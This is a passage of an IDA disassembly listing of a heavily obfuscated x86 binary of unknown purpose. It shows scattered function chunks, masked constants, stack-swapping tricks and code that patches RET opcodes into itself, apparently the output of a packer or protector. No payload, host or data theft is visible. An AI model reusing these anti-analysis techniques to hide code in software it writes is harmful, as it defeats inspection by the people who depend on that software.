; [00000001 BYTES: COLLAPSED FUNCTION nullsub_343. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	al, 24h
		mov	edx, ecx
		pop	ecx
		jns	loc_4411FB
		mov	eax, [esp]
		push	edx
		jmp	loc_4490A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44722C:				; CODE XREF: sub_448EB6-E8A5j
		popf
		shl	esi, 12h

loc_447230:				; CODE XREF: sub_448EB6:loc_448C24j
		mov	eax, [esp-8+arg_4]
		call	sub_4396B2

loc_447238:				; CODE XREF: y22d6.y.:004499E3j
					; sub_44BF7B+Bj
		xchg	eax, [esp-8+arg_4]
		mov	edx, eax
		call	sub_44D088
		jmp	loc_4413FC
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_447247:				; CODE XREF: y22d6.y.:0043FDF3j
		mov	[esi], eax
		pop	esi
		lea	eax, sub_441651
		mov	byte ptr [eax],	0C3h
		jmp	sub_441651

; =============== S U B	R O U T	I N E =======================================



sub_447258	proc near		; CODE XREF: sub_4049E1+2FBp
					; sub_408395+5Ep ...
		call	sub_447268
		jmp	ds:off_41E06C
sub_447258	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4499F4

loc_447263:				; CODE XREF: sub_4499F4+13j
		jmp	loc_43B135
; END OF FUNCTION CHUNK	FOR sub_4499F4

; =============== S U B	R O U T	I N E =======================================



sub_447268	proc near		; CODE XREF: y22d6.y.:loc_442558j
					; sub_447258p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439CE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B88E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043CC15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E613 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442368 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004423F3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004475C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E27 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00448181 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448D5D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449EEE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044A7EE SIZE 00000007 BYTES

		pop	edx
		jo	loc_448D5D
		jmp	loc_4475C7
sub_447268	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_447274:				; CODE XREF: sub_437FD8:loc_43AB6Bj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
		call	nullsub_10
		jmp	ds:dword_41E04C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		cmp	al, 24h
		mov	edx, edi
		pop	edi
		jb	loc_44780C
		jmp	loc_446F97
; ---------------------------------------------------------------------------

loc_447292:				; DATA XREF: y22d6.y.:00437B64o
		add	eax, 4CD817E3h
		add	eax, ebp
		add	eax, 2133BF8Eh
		push	offset loc_43A174
		jmp	locret_44AE9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_4472AA:				; CODE XREF: sub_44057E:loc_449A3Dj
		jbe	loc_443106
		jmp	loc_43F3D3
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_4472B5:				; CODE XREF: y22d6.y.:004383B0j
		add	edx, 7C2AA58Fh

; =============== S U B	R O U T	I N E =======================================



sub_4472BB	proc near		; CODE XREF: sub_43E7F3+6p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_4472BB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_4472C3:				; CODE XREF: sub_43F422+5B97j
					; sub_43F422+D1E3j
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		jmp	loc_43F487
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_4472CE:				; CODE XREF: sub_43DCC0+DDB6j
		pop	edx
		and	edx, 5B695A19h
		sub	edx, 0DCB3702Eh
		add	edx, 9A8F164Bh
		jmp	loc_43EBBE
; END OF FUNCTION CHUNK	FOR sub_43DCC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4472E6:				; CODE XREF: sub_448EB6:loc_448D92j
		add	ecx, 0FD6E6FC3h
		popf
		xchg	ecx, [esp-0Ch+arg_8]
		jmp	loc_43C3B3
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_4472F5:				; CODE XREF: sub_441F08:loc_441BEEj
		not	ebx
		jbe	loc_448BA3
		jmp	loc_43C25A
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_447302:				; CODE XREF: sub_43837F:loc_43D4F4j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_44BD75
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		jmp	loc_44A510
; END OF FUNCTION CHUNK	FOR sub_43837F

; =============== S U B	R O U T	I N E =======================================



sub_44731A	proc near		; CODE XREF: y22d6.y.:0044401Aj
					; sub_449CBB+8p

; FUNCTION CHUNK AT 0043DA7B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E37A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		test	eax, eax
		jl	loc_44B404
		inc	eax
		jmp	loc_43DA7B
sub_44731A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_301. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_44732D:				; CODE XREF: sub_44C59C+BB4j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------

loc_447332:				; CODE XREF: y22d6.y.:0044554Aj
		jmp	loc_449E9D
; ---------------------------------------------------------------------------
		mov	ds:dword_41E150, eax
		push	offset loc_442B73
		jmp	locret_438CC0
; ---------------------------------------------------------------------------

loc_447347:				; CODE XREF: y22d6.y.:00442F79j
		ja	near ptr dword_437434+15h

; =============== S U B	R O U T	I N E =======================================



sub_44734D	proc near		; CODE XREF: sub_43D20E:loc_439C1Ap

; FUNCTION CHUNK AT 0043866E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AE8B SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_447351:				; CODE XREF: y22d6.y.:loc_43C7BBj
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44DA43

loc_44735E:				; CODE XREF: sub_4432B8:loc_443515j
		jmp	loc_43AE8B
sub_44734D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447363:				; CODE XREF: y22d6.y.:00440422j
		jl	loc_43DF24
		test	edx, 35000DFBh
		jmp	loc_44A476
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_447374:				; CODE XREF: sub_44BCC2:loc_43F542j
		add	eax, ebx
		popf
		jmp	loc_442F21
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_44737C:				; CODE XREF: sub_439C96+696Ej
		jnp	loc_44D042
		pop	ebx
		jmp	loc_440308
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_447388:				; CODE XREF: sub_44AEDA+1F7Fj
		jbe	loc_444187

loc_44738E:				; CODE XREF: sub_44AEDA:loc_43DBFEj
		mov	eax, [ebp-1Ch]
		add	eax, 4
		push	ebx
		push	9391F357h
		jmp	loc_438BCA
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------

loc_44739F:				; CODE XREF: y22d6.y.:0044765Ej
		jnb	loc_4484D9
		rol	edx, 0Eh
		jmp	sub_43B566
; ---------------------------------------------------------------------------

locret_4473AD:				; CODE XREF: y22d6.y.:loc_442AB0j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448465

loc_4473AE:				; CODE XREF: sub_448465+1Ej
		jmp	sub_44E1BD
; END OF FUNCTION CHUNK	FOR sub_448465
; ---------------------------------------------------------------------------

loc_4473B3:				; CODE XREF: y22d6.y.:00445408j
		jmp	loc_43E794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3AD

loc_4473B8:				; CODE XREF: sub_43F3AD+8E93j
		xchg	edx, [esp+0]
		mov	ecx, edx
		pop	edx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43F3AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_4473C1:				; CODE XREF: sub_44B1D2+1F97j
		jmp	nullsub_236
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_4473C6:				; CODE XREF: sub_44B635:loc_43F610j
		jmp	loc_439D6C
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A4E4

loc_4473CB:				; CODE XREF: sub_43A4E4+Fj
					; y22d6.y.:loc_44AC5Bj
		jmp	loc_4453DB
; END OF FUNCTION CHUNK	FOR sub_43A4E4
; ---------------------------------------------------------------------------

loc_4473D0:				; DATA XREF: sub_4409F4+8BE1o
		add	edx, 6EBE7A28h
		call	sub_43BDFB
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_4473DB:				; CODE XREF: sub_438A94+D97Ej
		jmp	loc_44AC9E
; END OF FUNCTION CHUNK	FOR sub_438A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_4473E0:				; CODE XREF: sub_448C77-7E86j
		or	esi, 676EAB84h
		add	esi, 8844E27Eh
		xchg	esi, [esp+8+var_8]
		jmp	loc_44A99E
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_4473F4:				; CODE XREF: sub_44C59C+6j
		jz	loc_43CCCA
		mov	eax, [esp+0Ch+var_C]
		push	ebp
		mov	ebp, edx
		jmp	loc_438968
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------

loc_447405:				; CODE XREF: y22d6.y.:00444266j
		mov	eax, [esp]
		push	edx
		call	sub_442060
		mov	eax, 7DA6ACC0h
		call	sub_43CA1A
		mov	ds:dword_41E0EC, eax
		jmp	loc_43C19C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_447423:				; CODE XREF: sub_4449FA+7E90j
		push	50C56EB6h
		pop	eax
		add	eax, 0CE107AC7h
		xor	eax, 0D0E91Ch
		and	eax, 4BCB25AEh
		add	eax, 0F642A809h
		xchg	eax, [esp+4+var_4]
		jmp	loc_447500
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43925F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44744F:				; CODE XREF: sub_43B7B5:loc_44254Ej
		jz	loc_443C2F
		jmp	loc_437FD1
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44745A:				; CODE XREF: sub_4450FD:loc_44A590j
		call	sub_4380CD
		pop	ecx
		mov	[ebp-20h], eax

loc_447463:				; CODE XREF: sub_4372D3+3j
					; sub_4450FD+4j ...
		mov	eax, [ebp-20h]
		jmp	loc_437DA4
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FEC6

loc_44746B:				; CODE XREF: sub_43FEC6:loc_441C83j
		and	ecx, ds:4000E4h
		push	offset sub_44CBE5
		jmp	loc_44BFF5
; END OF FUNCTION CHUNK	FOR sub_43FEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_44747B:				; CODE XREF: sub_4383E0+12j
					; sub_4432B8:loc_43D202j
		xor	eax, 0DD2E82E9h
		sub	eax, 0C1B919D7h
		add	eax, 4D6CA854h
		add	eax, ebp
		add	eax, 326A2826h
		jmp	loc_448B0E
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------

loc_44749A:				; CODE XREF: y22d6.y.:loc_43F04Fj
		cmp	byte ptr [eax],	0F1h
		jnz	loc_447EBF

loc_4474A3:				; CODE XREF: y22d6.y.:loc_439E4Ej
		jmp	loc_4459B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4474A8:				; CODE XREF: sub_4432B8+2BDj
		jz	loc_44AB59

loc_4474AE:				; CODE XREF: sub_440280+772Ej
		jmp	loc_43D390
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		ror	ebx, 12h
		and	edi, ecx
		jmp	loc_44AB59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_4474BD:				; CODE XREF: sub_439A90+12DACj
		shl	ebp, 1Eh

loc_4474C0:				; CODE XREF: sub_439A90:loc_43BBACj
		call	sub_4438A8

loc_4474C5:				; CODE XREF: sub_4450FD+8C0Aj
		cdq
		jmp	loc_442058
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
		sub	al, 99h
		mov	edx, [ebp-4]
		push	offset loc_4437CB
		jmp	loc_43767B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43BABB
; ---------------------------------------------------------------------------

loc_4474E0:				; CODE XREF: y22d6.y.:0043FCD4j
		jmp	loc_43CAD1
; ---------------------------------------------------------------------------

loc_4474E5:				; CODE XREF: y22d6.y.:0044B39Fj
		js	loc_4498FF
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_4474EB:				; CODE XREF: sub_448C77:loc_4459D2j
		or	esi, 2F31D754h
		add	esi, 50CE0E43h
		xchg	esi, [esp+8+var_8]
		jmp	sub_43760A
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

locret_4474FF:				; CODE XREF: y22d6.y.:loc_43BC9Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_447500:				; CODE XREF: sub_4449FA+2A4Aj
		jmp	sub_44ABDD
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_447505:				; CODE XREF: sub_440395:loc_43C7E1j
		pop	ebx
		add	ebx, 38E266CAh
		and	ebx, 0FF4C16BAh
		add	ebx, 85112A32h
		add	ebx, ebp
		add	ebx, 11A2BF5Ah
		mov	ebx, [ebx]
		jmp	loc_44CCCA
; END OF FUNCTION CHUNK	FOR sub_440395

; =============== S U B	R O U T	I N E =======================================



sub_447527	proc near		; CODE XREF: sub_43B98D-333Fp
					; y22d6.y.:00438B0Fj

; FUNCTION CHUNK AT 0043C446 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		xor	eax, ecx
		pop	ecx
		push	edi
		jmp	loc_43C446
sub_447527	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_447534:				; CODE XREF: sub_4416F3-7A6j
		sub	ecx, edx
		jmp	loc_448D6A
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
		mov	ds:off_41E078, eax
		lea	eax, loc_44C527
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_44754F:				; CODE XREF: sub_444871:loc_44C527j
		pop	edx
		mov	eax, [esp+0]
		push	edx
		push	eax
		push	9B327D45h
		jmp	loc_440978
; END OF FUNCTION CHUNK	FOR sub_444871
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_44755F:				; CODE XREF: sub_4481EF-1002Fj
		rol	ebx, 0Fh
		or	ebx, 0BFA17068h
		add	ebx, 408461EFh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43B210
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------

loc_447576:				; DATA XREF: sub_43F7FF:loc_44842Do
		mov	edx, ds:dword_439198
		or	edx, edx
		jnz	loc_439185
		jmp	loc_43C333
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444822

loc_44758A:				; CODE XREF: sub_444822:loc_440345j
		mov	ds:off_41E218, eax
		lea	eax, loc_43DDBB

loc_447596:				; CODE XREF: y22d6.y.:004461D0j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43DDBB
; END OF FUNCTION CHUNK	FOR sub_444822

; =============== S U B	R O U T	I N E =======================================



sub_44759E	proc near		; CODE XREF: sub_40300B+94p
					; sub_44759E+5j
					; DATA XREF: ...
		call	sub_4475B3
		jmp	ds:off_41E21C
sub_44759E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBBE

loc_4475A9:				; CODE XREF: sub_44CBBE+30Fj
		jmp	nullsub_233
; END OF FUNCTION CHUNK	FOR sub_44CBBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4475AE:				; CODE XREF: sub_4432B8:loc_44344Cj
		jmp	loc_444DA4
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_4475B3	proc near		; CODE XREF: y22d6.y.:loc_438729j
					; sub_43C6D7+603Ej ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004372C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004386D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004391C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B702 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043BC3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440473 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00440711 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004408BD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441A3A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442F7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00443D51 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444228 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004450E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A635 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AEFF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B414 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044BD9B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D834 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1F2 SIZE 00000005 BYTES

		js	loc_4386D2
		xchg	ebx, [esp+0]
		jmp	loc_441A3A
sub_4475B3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41E040
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_4475C7:				; CODE XREF: sub_447268+7j
		jmp	loc_43B88E
; END OF FUNCTION CHUNK	FOR sub_447268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_4475CC:				; CODE XREF: y22d6.y.:loc_442044j
					; sub_44AEDA:loc_44C8A8j ...
		jnz	loc_442049
		pop	edx
		mov	eax, [esp+4+var_4]
		push	edx
		jmp	loc_445E82
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------

loc_4475DC:				; CODE XREF: y22d6.y.:loc_43A139j
		pop	esi
		add	esi, 0DC5421CCh
		xor	esi, 335B60Ch
		cmp	esi, 78921C04h
		jmp	loc_437647
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_4475F4:				; CODE XREF: sub_44B635:loc_44D676j
		or	ecx, 719899C7h
		cmp	ecx, 0EEC1FED9h
		jmp	loc_43BF0C
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A095

loc_447605:				; CODE XREF: sub_44A095-C028j
		push	3DFEACh
		pop	edi
		xor	edi, ds:4000E7h
		add	edi, 96CA1F55h
		xor	edi, 0E05932E7h
		add	edi, ebp
		add	edi, 1BDA3FF7h
		jmp	loc_43AA7E
; END OF FUNCTION CHUNK	FOR sub_44A095
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_44762A:				; CODE XREF: sub_4452EE+6045j
		and	eax, edx

loc_44762C:				; CODE XREF: sub_4452EE:loc_43EFA0j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443C34
		jmp	loc_438DE1
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439407

loc_44763D:				; CODE XREF: sub_439407+8905j
		cdq

loc_44763E:				; CODE XREF: sub_439407:loc_449937j
		push	6740D136h
		pop	eax
		rol	eax, 3
		xor	eax, 0B2084D3Bh
		add	eax, ebp
		add	eax, 77F13B74h
		mov	eax, [eax]
		jmp	near ptr dword_437434+1Ah
; END OF FUNCTION CHUNK	FOR sub_439407
; ---------------------------------------------------------------------------
		test	edi, esi
		jmp	loc_44739F

; =============== S U B	R O U T	I N E =======================================



sub_447663	proc near		; CODE XREF: y22d6.y.:00439E84j
					; y22d6.y.:0043BB0Ap

; FUNCTION CHUNK AT 00437A77 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00440B49 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00449B4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C5EC SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0EA8D353Eh
		pop	eax
		and	eax, 23757225h
		test	eax, 2000h
		jmp	loc_44C5EC
sub_447663	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444541

loc_44767E:				; CODE XREF: sub_444541-C815j
		call	sub_43CA1A
		push	edx
		push	3511C77Ch
		xchg	esi, [esp+4+var_4]
		mov	edx, esi
		pop	esi
		rol	edx, 8
		sub	edx, 3BD7EA2Eh
		jmp	loc_43C850
; END OF FUNCTION CHUNK	FOR sub_444541
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44769E:				; CODE XREF: sub_448EB6:loc_4427A0j
		jno	loc_447D2C
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_44C758
		mov	eax, 8D800AAh
		push	offset sub_43D59A
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		popf
		sub	eax, 0BBE6451Ch
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4476C3:				; CODE XREF: sub_448EB6-89AFj
		jmp	sub_437236
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_4476C8:				; CODE XREF: sub_44AEDA-CEE1j
		add	eax, ecx
		pop	ecx
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		push	edx
		push	47E60CCAh
		jmp	loc_443693
; END OF FUNCTION CHUNK	FOR sub_44AEDA

; =============== S U B	R O U T	I N E =======================================



sub_4476DE	proc near		; CODE XREF: sub_44A768+3p
					; y22d6.y.:0044C18Fj

; FUNCTION CHUNK AT 00440B8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BBA3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D12B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		call	sub_44A46F
		push	1B66E427h
		pop	eax
		or	eax, 9403DEA0h
		xor	eax, 0ED083A9Dh
		jmp	loc_44D12B
sub_4476DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4476FF	proc near		; CODE XREF: y22d6.y.:0043A168p
					; y22d6.y.:004470A4j
		xchg	esi, [esp+0]
		pop	esi
		push	edx
		push	3C59A1D4h
		pop	edx
sub_4476FF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44770A:				; CODE XREF: sub_44B1D2-13C4Cj
		jmp	loc_44D155
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_44770F:				; CODE XREF: y22d6.y.:0044A209j
		rol	edx, 0Dh
		shr	ecx, 1
		shl	ebp, 0Ah
		mov	edx, ecx
		jmp	loc_43E64D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_44771E:				; CODE XREF: sub_43DB23-35B3j
		sub	ebx, 472AFE2Ah
		rol	ebx, 1Ch
		add	ebx, 0E75C9B41h
		mov	[ebx], eax
		call	sub_43C74D
; END OF FUNCTION CHUNK	FOR sub_43DB23
; START	OF FUNCTION CHUNK FOR sub_43E7BF

loc_447734:				; CODE XREF: sub_43E7BF+2517j
		jmp	loc_447E4C
; END OF FUNCTION CHUNK	FOR sub_43E7BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_447739:				; CODE XREF: sub_4383E0+4DB5j
		js	loc_447C85
		xor	ebx, 68F9418h
		and	esi, ecx

loc_447747:				; CODE XREF: sub_4383E0:loc_44B970j
		mov	eax, [esp-4+arg_0]
		push	eax
		push	eax
		push	69F9AD9Eh
		pop	eax
		jmp	loc_44C2B5
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_447757:				; CODE XREF: sub_440280+A24Ej
		adc	esi, 0B623429Bh
		test	ebx, 0EFE42C47h
		jmp	loc_447A35
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_447768:				; CODE XREF: sub_43BCA9+41D0j
		push	dword ptr [ebp-10h]
		push	edx
		push	6642CAE1h
		pop	edx
		jmp	loc_43B943
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_447777:				; CODE XREF: sub_44AEDA:loc_43BB66j
		or	edx, 0C383C15Fh
		xor	ebp, esi
		jmp	loc_44CE57
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF1B

loc_447784:				; CODE XREF: sub_43FF1B+4466j
		add	esi, 147E8468h
		push	offset loc_43E072
		jmp	loc_441656
; END OF FUNCTION CHUNK	FOR sub_43FF1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_447794:				; CODE XREF: sub_438B66:loc_44C254j
		jge	loc_43EC28
		jmp	loc_444B3C
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44779F:				; CODE XREF: sub_43B7D4:loc_44C5F2j
		mov	al, [eax]
		jno	loc_43A1E6
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_43C497
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
		popf
		jmp	sub_438B39
; ---------------------------------------------------------------------------
		mov	esp, ebp
		pop	ebp
		push	ds:dword_44659C
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA87

loc_4477C5:				; CODE XREF: sub_44DA87+Cj
		pop	eax
		push	offset sub_438A6F
		jmp	loc_43B329
; END OF FUNCTION CHUNK	FOR sub_44DA87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4477D0:				; CODE XREF: sub_448EB6:loc_43B6C2j
		jnz	loc_4427A8
		jmp	loc_44A7CD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		jb	loc_43806D
		jmp	sub_442FA7

; =============== S U B	R O U T	I N E =======================================



sub_4477E6	proc near		; CODE XREF: sub_4432B8-ECAj

var_4		= dword	ptr -4

